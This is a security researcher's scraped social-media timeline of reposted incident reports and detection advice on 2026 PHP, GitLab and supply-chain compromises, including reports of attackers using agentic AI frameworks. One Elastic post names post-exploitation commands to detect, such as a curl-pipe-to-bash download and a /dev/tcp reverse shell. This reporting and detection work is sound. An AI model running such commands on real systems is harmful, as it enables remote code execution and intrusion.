Senior Director of Product Research @HuntressLabs and custodian of secret histories. Posts are my own.

New York State
Joined October 2014
Devon Kerr retweeted
From an AD on-prem POV, I still can't believe this research by @MGrafnetter was released this year. If you haven't read it… definitely worth a read! Pure 🔥 troopers.de/troopers26/talks…
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Devon Kerr retweeted
So basically, today PHP got two critical bugs that let anyone run code on your server without even logging in, which is bad, and then the details leaked before the patch was even out, which is worse, and it works on WordPress and MediaWiki and Magento and Joomla and Laravel, and Censys says like 1.5 million servers are running a version with no fix, so the NSA was like "take your system offline," and the FBI was like "take your system offline," and CISA and the UK and CERT-EU were all like "take your system offline," and then the Prime Minister of Japan, the actual Prime Minister, posted at 5:55 in the morning telling 48.8 million people to take their system offline, so everyone took their system offline, like the Dutch cybersecurity agency took its own website offline, and the Dutch parliament went offline, and the Port of Rotterdam went offline, and Finland and France and Denmark started pulling government sites, and Wikipedia went down, and Archive.org went down, and Asana and GOG and Something Awful went down, and the University of Vienna's webmail went down for some reason, and that's just PHP. Because GitLab also dropped a CVSS 10.0, which is the highest score they give out, for a bug that's been there since 2014, so that's every self-hosted GitLab for twelve years, and then LiteLLM 1.107.0 got hijacked and shipped a credential stealer and a remote access trojan in every single wheel and the Docker images, including latest, and you didn't even have to import it, just installing it was enough, and it's the second time this year, and then Railway paused every deployment on the entire platform because someone got into the environment variables, so now everyone has to rotate every secret they've ever stored there, and TiDB Cloud said someone was walking around inside with stolen credentials for basically a month and an extortion group says they took 10.6 terabytes, and Zeabur got breached for the second time in two months and is just shutting down, like the whole company, and Node.js patched remote code execution and a TLS bypass, and CISA says Plex is being actively exploited, and someone took over 300 Tor exit relays to steal SSH passwords, and SafePay ransomware has hit over 600 critical infrastructure orgs, and India's biggest bank filed a data loss incident, and Japan has been in an official state of emergency in cyberspace since October 9, which honestly explains the 5:55 AM post. Oh, and eMudhra, a certificate authority that's issued over 60 million certificates, whose entire job is proving websites are who they say they are, was supposed to be using private keys that are random numbers over a hundred digits long, and one of them was 4. Just 4. And the others were like 66 and 237. Anyway, it's Wednesday.
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Devon Kerr retweeted
Storm-0940, a China-state aligned actor, used the agentic AI penetration testing framework ARTEX to automate attacks targeting hundreds of organizations globally across a broad range of industries. Several of these Storm-0940 ARTEX-driven attacks have resulted in the actor obtaining privileged access to an organization’s cloud infrastructure – including multiple instances where the time from initial targeting to privileged access was less than 3 hours. Microsoft assesses that Storm-0940 was responsible for the recently disclosed ConnectWise supply chain compromise of a multi-tenant application. microsoft.com/en-us/security…
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I took this opportunity to revisit and update my 2022 presentation on post-exploitation detection. The exploit may be new, or completely different from anything we’ve seen before, but the activity that follows often fits patterns we already understand. Generic detection rules can recognize those patterns without knowing which vulnerability was used. A rule written for one incident can therefore help detect another, years later. That’s the idea I’ve been talking about for years, and what the presentation explains in practical terms. The slides walk through how to turn an observation into a useful rule, which data you need, and why a match still needs context. There are examples using Sigma and YARA, a look at how we apply them in THOR and Aurora, and my “Sigma Hall of Fame” with some old favourites :) figma.com/deck/XCtQhJSlqp2rO…
We’ve been checking our PHP2SHELL detection coverage at Nextron and extending the rule set based on the published PoCs After successful exploitation, we expect familiar activity: webshell drops, reverse shells, suspicious child processes, new user accounts… Our generic detection rules have covered many of these patterns for years, so useful coverage was already in place before disclosure. The blog documents that existing coverage and the additions, explains what the findings can actually tell you, and includes PHP hardening recommendations. nextron-systems.com/2026/10/…
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And the security shitshow continues... Four more things to add to yesterday's list. We're now at nine(!) major security issues and developments in just a few days. 6. ISC BIND 9 - Multiple Vulnerabilities Four new vulnerabilities (CVE-2026-19630, 94300, 96888, 97313), including remote DoS, memory corruption and crashes in certain DNS configurations. Fixed in BIND 9.20.30 and 9.21.27. kb.isc.org/docs/all-bind-adv… 7. Oracle Java / JSSE (CVSS 9.1) CVE-2026-91403. A critical vulnerability in Java's TLS implementation, potentially allowing unauthenticated attackers to access or modify data. Affects Java 8, 11, 17, 21, 25 and 27, plus GraalVM. oracle.com/security-alerts/a… 8. Windows SMB Server DoS (CVSS 7.5) CVE-2026-96325. An unauthenticated remote attacker can crash the Windows SMB Server using specially crafted requests. Not RCE, but still a serious availability issue for exposed systems. msrc.microsoft.com/update-gu… 9. AI-Driven Intrusion Campaigns And then there's the growing number of reports about threat actors using AI agents and frameworks like ARTEX and Cairn for real-world intrusions. Hundreds of organizations affected, with some campaigns involving thousands of automated attack projects. Microsoft / ARTEX: microsoft.com/en-us/security… NorForge / Cairn: norforge.com/blog/inside_cai… I'm starting to wonder what next week will look like... (you can find 1.-5. in the quoted tweet)
🤖 Made with AI
This week has been quite a shitshow already, and there are still 2 days to go Here’s a quick recap of the security mess we’ve seen in just the last few days: 1. PHP Core RCE (CVSS 9.2) Two critical vulnerabilities (CVE-2026-109618/109619) allowing unauthenticated RCE. A huge number of PHP installations potentially affected, and there are already reports of reliable exploitation against patched versions. Great… Useful links: Official PHP advisory and patches: php.net/archive/2026.php#202… Practical hardening and mitigation guide by Vincent Schmalbach. nginx/Apache configurations, PHP settings, patch verification and compromise checks: vincentschmalbach.com/cve-20… Huntress analysis. What to monitor, suspicious child processes, webshells and post-exploitation activity: huntress.com/blog/php2shell-… Wiz technical deep dive. Exploit mechanics, memory disclosure, affected applications and the role of AI: wiz.io/blog/php2shell-php-rc… Corelight’s open-source Zeek and Suricata detection rules: github.com/corelight/php2she… 2. GitLab RCE (CVSS 10.0) CVE-2026-110264. An integer overflow in the regex compiler leading to unauthenticated RCE. Apparently affects around 12 years(!) of GitLab releases. docs.gitlab.com/releases/pat… 3. Node.js / Brotli RCE CVE-2026-111497. An out-of-bounds write in the Brotli decoder that can lead to RCE when processing malicious compressed data. Node.js 22, 24 and 26 affected. nodejs.org/en/blog/vulnerabi… 4. DNS-over-QUIC DoS CVE-2026-97206. A use-after-free in Unbound’s DNS-over-QUIC implementation. Remote attackers can crash affected multi-threaded DNS resolvers. nlnetlabs.nl/projects/unboun… 5. eMudhra CA disaster And then there’s this absolute PKI clusterfuck. Eight intermediate CA private keys turned out to be ridiculously easy to reconstruct. Browser vendors have started blocking the affected CAs, but outdated clients and applications with their own trust stores could keep accepting certificates from them. Cleaning up this mess is a lot harder than just patching a server. Google’s analysis and response: blog.google/security/protect… Mozilla’s public incident investigation, including the technical findings, timeline and eMudhra’s explanations: bugzilla.mozilla.org/show_bu… — And I can’t help wondering how much of this sudden wave of discoveries has to do with the latest AI models getting better at code review and vulnerability research. We now have models that can dig through massive codebases and potentially find bugs that have been sitting there for years. I’m not saying these particular vulnerabilities were discovered using AI. I haven’t seen evidence for that. But I do wonder whether we’re starting to see some of the effects. The eMudhra case is obviously a different story. That’s a spectacular failure of key management and quality control. Anyway, quite a week. And it’s only Thursday…
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Phishing with a real Microsoft link. @HuntressLabs (Sarah Reddish) caught a campaign hosting a fake "Download Reference" doc on app.powerbi.com. The button opens an attacker page that fingerprints you, reports to a Telegram bot, then drops a rogue ScreenConnect installer.
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Analysis + hunts + rules by @RFGroenewoud @bryans3c
Two critical PHP RCEs are patched: CVE-2026-109618 and CVE-2026-109619, both CVSS 9.2. • Fixed in 8.5.12, 8.4.27, 8.3.36, and 8.2.35. You can still focus on detection coverage today. Security Labs writeup (coverage + guidance): elastic.co/security-labs/thr… Most PHP RCEs converge on the same outcome, whatever the bug: a web server process (php-fpm, php-cgi, apache2, httpd) doing something a request-serving daemon almost never does legitimately. • a shell to confirm access: id, whoami, uname -a • a second stage pulled in: curl http://... | bash • a reverse shell: bash -i >& /dev/tcp// • a webshell written into the web root The bug class is public now: out-of-memory corruption, and stale state reused by the same worker. The behavior is what you detect. We recently ran a different PHP RCE end-to-end (wp2shell): apache2 spawning dash to run id; whoami; hostname fired the exact rules that we suspect to catch php2shell. Payload Execution by Web Server kills the shell on the endpoint. The Suspicious/Unusual Command, Child, and File Creation via Web Server rules stack on top. (PHP did confirm partial php.ini mitigations. session.upload_progress.enabled=0 blocks the confirmed session paths only. Patch is still the fix.) Patch to 8.5.12, 8.4.27, 8.3.36, or 8.2.35. Verify that the stack is enabled now. Guidance + every rule link below.
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This Akira affiliate's persistence was a tunnel dressed up as svchost.exe. @HuntressLabs rebuilt the intrusion from registry, event logs and Akira's own log files: RDP in, Bitdefender services stopped, procdump on lsass, then GOST and Rclone run out of C:\PerfLogs.
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And @virusbtn is a wrap! Huge kudos to the organizers as always an incredible event (first attended in Dublin). ​Great #research this year, amazing #community. Love seeing people of all backgrounds and ages united for the same goal 🤝👊 ​See you in London next year! 🫡 #VB2026
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Devon Kerr retweeted
The current MSSP incident reported by Huntress is a good reminder why you should enable app instance property lock for your applications to prevent malicious takeover in a compromised customer tenant. huntress.com/blog/vendor-cre… learn.microsoft.com/en-us/en…
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Microsoft Threat Intelligence is tracking an active supply chain attack in which a threat actor compromised the trusted OAuth App of the backup application ConnectWise Cloud Backup (AppId: 506e08f9-6e9a-4da4-942b-a099a03644ae), formerly SkyKick Backup, to obtain access tokens across customer tenants. ConnectWise Cloud Backup is a multitenant vendor application; customers grant consent for the application to operate in their tenants. We assess that the threat actor likely abused permissions previously granted by customers to the application, including highly elevated permissions like Directory.ReadWrite.All. On October 15, 2026, we observed broad successful service principal authentication originating from the IP address 144.172.64[.]128. Follow-on activity included Microsoft Graph API reconnaissance and attempts to add additional credentials on the related service principal in target tenants to maintain direct access as a backdoor. Microsoft Defender detects post-exploitation activity with the following alerts: - Any alert related to "Suspicious sign-in" - Graph API activity from a Microsoft threat intelligence IP address - Verified Threat Actor IP Defenders should review service principal sign-ins from unrecognized IP addresses, app credential changes, and OAuth grant activity associated with this specific OAuth AppId. In addition, we recommend looking for Threat Intelligence alerts on matching of IP against the Graph API activity and service principal activities. We will continue to monitor this incident and will share updates as they become available. We encourage customers to check ConnectWise advisory for more information and additional guidance: msft.it/6013aQBvV. Indicators of compromise (IOCs): - App name: ConnectWise Cloud Backup - AppId: 506e08f9-6e9a-4da4-942b-a099a03644ae - Publisher name: SkyKick - Source IP: 144.172.64[.]128 - User agents: Python-urllib/3.12, python-requests/2.31, python-requests/2.34.2
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We just finished the @virusbtn presentation on #TollBooth. Was fun, if you have any questions feel free to reach out personally or through x 🫡
Replying to @k33b0i
@k33b0i and myself will be presenting today at @virusbtn 2026 in Seville on a cool research around SEO poisoning ! #vb2026 #threat #malware
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Replying to @k33b0i
@k33b0i and myself will be presenting today at @virusbtn 2026 in Seville on a cool research around SEO poisoning ! #vb2026 #threat #malware
571 IIS servers hijacked using machine keys from public docs. @soolidsnakee and @k33b0i break down REF3927 at @virusbtn VB2026 • Today, 15:00 CEST in the Green room. Talk abstract and kill chain outline: go.es.io/3Us9kSw Full blog: go.es.io/4hZ5TKG
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Devon Kerr retweeted
So far, we have seen over 100 compromised tenants. We have taken proactive measures for impacted Huntress ITDR partners. You’ll be hearing from our team via a phone call if you haven’t already.
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Devon Kerr retweeted
This activity is an application sign-in with a vendor credential, not a user sign-in. The IP address from which the activity originated is 144.172.64[.]128.
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ブログ JPCERT/CC Eyes「連続不正アクセス事案の攻撃手法に関する調査」公開。調査の過程で攻撃者がAIを利用して既知の脆弱性のスキャンやAPI経由での攻撃などを実施していたことを確認しました。国内外のWebサービスなどに対する攻撃の状況を紹介しています。^KI blogs.jpcert.or.jp/ja/2026/1…
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Devon Kerr retweeted
RAPID RESPONSE: Huntress has become aware of a widespread security incident involving ConnectWise Cloud Backup (formerly SkyKick). We’ve confirmed that an unknown threat actor abused the access they obtained in SkyKick to pivot to access customers' Microsoft 365 environments. 🧵
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Replying to @SolanaFloor
Here’s a deep dive from @k33b0i and @DanielStepanic that walks through the implant, campaign, and detections and preventions.
We identified a malicious npm package, apexacc/cli, which led us to an operation posing as a Web3 accelerator. Read more about REF8801 by @k33b0i and @DanielStepanic : go.es.io/3TDeUBk The fake accelerator spent months courting crypto founders with free Claude and Gemini credits. Our supply-chain monitor caught the package. It was malicious from its first published version. The 2 Apex packages we examined, and what they deliver: • apexacc/cli: redirects OpenRouter-labeled model requests to an attacker-controlled API • apexacc/audit: MCP server whose 18 tools return fabricated findings • macOS payload: CloudSyncD backdoor • Windows payload: infostealer that exfiltrates to Telegram We asked the operation's scoring tool to rate a project that doesn't exist. It scored 51 in every category, and said its AI scorer was down.
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Devon Kerr retweeted
In a few minutes I will be giving a talk on deobfuscation at the Virus Bulletin conference in Seville. If you are hanging out at #VB2026, come watch it to learn some new things about IDA!
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